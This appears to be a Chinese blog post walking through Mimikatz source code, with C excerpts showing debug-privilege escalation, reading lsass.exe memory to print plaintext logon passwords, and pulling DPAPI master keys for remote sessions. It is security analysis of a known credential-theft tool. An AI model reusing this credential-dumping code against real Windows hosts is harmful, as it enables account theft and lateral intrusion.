【源碼閱讀】Mimikatz一鍵獲取遠程終端憑據與獲取明文密碼
阿新 • • 發佈:2018-02-16
null nbc pac data dex lsa mod pro package
1、前言
mimikatz框架是非常精妙的,粗淺講一下修改的思路。
它的模塊主要由各個結構體數組組成,根據傳入的命令搜索執行相應命令的模塊
mimikatz.c 部分代碼:
NTSTATUS mimikatz_doLocal(wchar_t * input) { NTSTATUS status = STATUS_SUCCESS; // 參數個數定義 int argc; // 獲取輸入的值,參數個數賦值 // wchar_t ** argv = CommandLineToArgvW(input, &argc), *module = NULL, *command = NULL, *match; unsigned short indexModule, indexCommand; BOOL moduleFound = FALSE, commandFound = FALSE; if(argv && (argc > 0)) { if(match = wcsstr(argv[0], L"::")) { if(module = (wchar_t *) LocalAlloc(LPTR, (match - argv[0] + 1) * sizeof(wchar_t))) { if((unsigned int) (match + 2 - argv[0]) < wcslen(argv[0])) //提取::號的後半段字符 command = match + 2; //將argv[0]源內存塊的內容復制到module目標內存塊。 RtlCopyMemory(module, argv[0], (match - argv[0]) * sizeof(wchar_t)); } } else command = argv[0]; // 索引值為0,如果moduleFound為1且索引值小於模塊的數目,循環執行 for(indexModule = 0; !moduleFound && (indexModule < ARRAYSIZE(mimikatz_modules)); indexModule++) //查找模塊 if(moduleFound = (!module || (_wcsicmp(module, mimikatz_modules[indexModule]->shortName) == 0))) //查找命令 if(command) for(indexCommand = 0; !commandFound && (indexCommand < mimikatz_modules[indexModule]->nbCommands); indexCommand++) if(commandFound = _wcsicmp(command, mimikatz_modules[indexModule]->commands[indexCommand].command) == 0) //調用相關模塊函數 status = mimikatz_modules[indexModule]->commands[indexCommand].pCommand(argc - 1, argv + 1);
實際調用模塊的方式
//模塊調用,對應結構體 const KUHL_M * mimikatz_modules[] = { &kuhl_m_standard, &kuhl_m_crypto, &kuhl_m_sekurlsa, &kuhl_m_kerberos, &kuhl_m_privilege, &kuhl_m_process, &kuhl_m_service, &kuhl_m_lsadump, &kuhl_m_ts, &kuhl_m_event, &kuhl_m_misc, &kuhl_m_token, &kuhl_m_vault, &kuhl_m_minesweeper, #ifdef NET_MODULE &kuhl_m_net, #endif &kuhl_m_dpapi, &kuhl_m_busylight, &kuhl_m_sysenv, &kuhl_m_sid, &kuhl_m_iis, &kuhl_m_rpc, };
如果要添加各種變量作為功能模塊。在打開解決方案後,global files目錄中的globals.h文件可以添加你設置的全局變量,實現全局調用。
提權函數部分
//提權函數調用
NTSTATUS kuhl_m_privilege_debug(int argc, wchar_t * argv[])
{
return kuhl_m_privilege_simple(SE_DEBUG);
}
主要用更底層的函數,一行API實現進程提權。
NTSTATUS kuhl_m_privilege_simple(ULONG privId) { ULONG previousState; NTSTATUS status; //提升權限 // RtlAdjustPrivilege(SE_DEBUG, TRUE, FALSE, &previousState); status = RtlAdjustPrivilege(privId, TRUE, FALSE, &previousState); if(NT_SUCCESS(status)) kprintf(L"Privilege \‘%u\‘ OK\n", privId); else PRINT_ERROR(L"RtlAdjustPrivilege (%u) %08x\n", privId, status); return status; }
明文獲取密碼部分
NTSTATUS kuhl_m_sekurlsa_getLogonData(const PKUHL_M_SEKURLSA_PACKAGE * lsassPackages, ULONG nbPackages)
{
KUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA OptionalData = {lsassPackages, nbPackages};
return kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_logondata, &OptionalData); //明文獲取密碼2
}
通過調試跟進,發現是從lsass.exe中dump出內存
//根據版本指定調用進程優先級別的函數
DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
BOOL isError = FALSE;
if(!cLsass.hLsassMem)
{
status = STATUS_NOT_FOUND;
if(NT_SUCCESS(lsassLocalHelper->initLocalLib()))
{
if(pMinidumpName)
{
Type = KULL_M_MEMORY_TYPE_PROCESS_DMP;
kprintf(L"Opening : \‘%s\‘ file for minidump...\n", pMinidumpName);
hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
}
else
{
Type = KULL_M_MEMORY_TYPE_PROCESS;
if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid))
hData = OpenProcess(processRights, FALSE, pid); //打開進程
else PRINT_ERROR(L"LSASS process not found (?)\n");
}
在NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalData)的回調函數中輸出已經獲取的明文數據
//回傳數據
retCallback = callback(&sessionData, pOptionalData); //明文密碼獲取3
明文密碼打印位置
BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_logondata(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)
{
PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA pLsassData = (PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA) pOptionalData;
ULONG i;
//PDWORD sub = NULL;
if((pData->LogonType != Network)/* && pData->LogonType != UndefinedLogonType*/)
{
//if(IsValidSid(pData->pSid) && GetSidSubAuthorityCount(pData->pSid))
// sub = GetSidSubAuthority(pData->pSid, 0);
//if(!sub || (*sub != 90 && *sub != 96))
//{
//這個函數負責獲取需要打印的數據
kuhl_m_sekurlsa_printinfos_logonData(pData);
//循環輸出
for(i = 0; i < pLsassData->nbPackages; i++)
{
if(pLsassData->lsassPackages[i]->Module.isPresent && lsassPackages[i]->isValid)
{
kprintf(L"\t%s :\t", pLsassData->lsassPackages[i]->Name);
pLsassData->lsassPackages[i]->CredsForLUIDFunc(pData);
kprintf(L"\n");
}
}
//}
}
return TRUE;
}
獲取遠程會話終端憑據部分
NTSTATUS kuhl_m_sekurlsa_dpapi(int argc, wchar_t * argv[])
{
kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_dpapi, NULL); //獲取全部用戶Guid
return STATUS_SUCCESS;
}
在BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_dpapi(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)處是存儲會話的Guid和MasterKey所在的位置。
if(kull_m_memory_copy(&aBuffer, &aLsass, sizeof(KIWI_MASTERKEY_CACHE_ENTRY)))
{
if(SecEqualLuid(pData->LogonId, &mesCredentials.LogonId))
{
kprintf(L"\t [%08x]\n\t * GUID :\t", monNb++);
kull_m_string_displayGUID(&mesCredentials.KeyUid); //獲取Guid
kprintf(L"\n\t * Time :\t"); kull_m_string_displayLocalFileTime(&mesCredentials.insertTime);
if(aKey.address = LocalAlloc(LPTR, mesCredentials.keySize))
{
aLsass.address = (PBYTE) aLsass.address + FIELD_OFFSET(KIWI_MASTERKEY_CACHE_ENTRY, key);
if(kull_m_memory_copy(&aKey, &aLsass, mesCredentials.keySize))
{
(*pData->lsassLocalHelper->pLsaUnprotectMemory)(aKey.address, mesCredentials.keySize);
kprintf(L"\n\t * MasterKey :\t"); kull_m_string_wprintf_hex(aKey.address, mesCredentials.keySize, 0); //獲取MasterKey
.....
2、效果圖
執行多條命令
批量對比
【源碼閱讀】Mimikatz一鍵獲取遠程終端憑據與獲取明文密碼